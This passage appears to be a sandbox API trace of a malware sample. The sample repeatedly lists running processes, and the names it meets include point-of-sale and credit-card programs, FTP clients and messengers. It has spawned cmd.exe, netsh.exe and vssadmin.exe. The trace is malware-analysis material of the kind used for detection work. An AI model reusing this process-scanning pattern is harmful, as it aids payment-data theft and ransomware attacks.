1 [0057.605] GetLastError () returned 0x12 [0057.605] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0057.606] GetLastError () returned 0x12 [0057.606] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0057.607] GetLastError () returned 0x12 [0057.607] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0057.609] GetLastError () returned 0x12 [0057.609] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0057.610] GetLastError () returned 0x12 [0057.610] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0057.611] GetLastError () returned 0x12 [0057.611] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0057.612] GetLastError () returned 0x12 [0057.612] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0057.613] GetLastError () returned 0x12 [0057.613] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0057.614] GetLastError () returned 0x12 [0057.614] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0057.615] GetLastError () returned 0x12 [0057.615] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0057.616] GetLastError () returned 0x12 [0057.616] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0057.617] GetLastError () returned 0x12 [0057.617] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0057.618] GetLastError () returned 0x12 [0057.618] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0057.619] GetLastError () returned 0x12 [0057.619] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0057.620] GetLastError () returned 0x12 [0057.620] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0057.621] GetLastError () returned 0x12 [0057.621] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0057.622] GetLastError () returned 0x12 [0057.622] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0057.622] GetLastError () returned 0x12 [0057.622] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0057.623] GetLastError () returned 0x12 [0057.623] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0057.624] GetLastError () returned 0x12 [0057.625] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0057.625] GetLastError () returned 0x12 [0057.625] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0057.626] GetLastError () returned 0x12 [0057.626] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0057.627] GetLastError () returned 0x12 [0057.627] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0057.628] GetLastError () returned 0x12 [0057.628] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0057.629] GetLastError () returned 0x12 [0057.629] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0057.630] GetLastError () returned 0x12 [0057.630] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.631] GetLastError () returned 0x12 [0057.631] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.631] GetLastError () returned 0x12 [0057.631] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0057.632] GetLastError () returned 0x12 [0057.632] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0057.633] GetLastError () returned 0x12 [0057.633] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.634] GetLastError () returned 0x12 [0057.634] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.635] GetLastError () returned 0x12 [0057.635] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.635] GetLastError () returned 0x12 [0057.635] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.636] GetLastError () returned 0x12 [0057.636] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0057.637] GetLastError () returned 0x12 [0057.637] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0057.638] GetLastError () returned 0x12 [0057.638] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0057.639] GetLastError () returned 0x12 [0057.639] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.925] GetLastError () returned 0x12 [0057.925] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0057.926] CloseHandle (hObject=0x180) returned 1 [0057.926] Sleep (dwMilliseconds=0x1f4) [0058.630] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0058.640] Process32FirstW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.641] GetLastError () returned 0x12 [0058.641] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.641] GetLastError () returned 0x12 [0058.641] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.642] GetLastError () returned 0x12 [0058.642] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.643] GetLastError () returned 0x12 [0058.643] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.644] GetLastError () returned 0x12 [0058.644] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.644] GetLastError () returned 0x12 [0058.644] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.645] GetLastError () returned 0x12 [0058.645] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.646] GetLastError () returned 0x12 [0058.646] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.646] GetLastError () returned 0x12 [0058.646] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0058.647] GetLastError () returned 0x12 [0058.647] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.648] GetLastError () returned 0x12 [0058.648] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.649] GetLastError () returned 0x12 [0058.649] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.649] GetLastError () returned 0x12 [0058.649] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.650] GetLastError () returned 0x12 [0058.650] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.651] GetLastError () returned 0x12 [0058.651] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.651] GetLastError () returned 0x12 [0058.651] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.652] GetLastError () returned 0x12 [0058.652] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.653] GetLastError () returned 0x12 [0058.653] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.654] GetLastError () returned 0x12 [0058.654] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.655] GetLastError () returned 0x12 [0058.655] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.655] GetLastError () returned 0x12 [0058.656] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0058.656] GetLastError () returned 0x12 [0058.656] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0058.657] GetLastError () returned 0x12 [0058.657] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.658] GetLastError () returned 0x12 [0058.658] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.658] GetLastError () returned 0x12 [0058.658] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0058.659] GetLastError () returned 0x12 [0058.659] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.660] GetLastError () returned 0x12 [0058.660] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0058.661] GetLastError () returned 0x12 [0058.661] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.661] GetLastError () returned 0x12 [0058.661] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0058.662] GetLastError () returned 0x12 [0058.662] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0058.663] GetLastError () returned 0x12 [0058.663] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0058.663] GetLastError () returned 0x12 [0058.664] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0058.664] GetLastError () returned 0x12 [0058.664] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0058.665] GetLastError () returned 0x12 [0058.665] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0058.666] GetLastError () returned 0x12 [0058.666] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0058.666] GetLastError () returned 0x12 [0058.666] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0058.667] GetLastError () returned 0x12 [0058.667] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0058.668] GetLastError () returned 0x12 [0058.668] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: 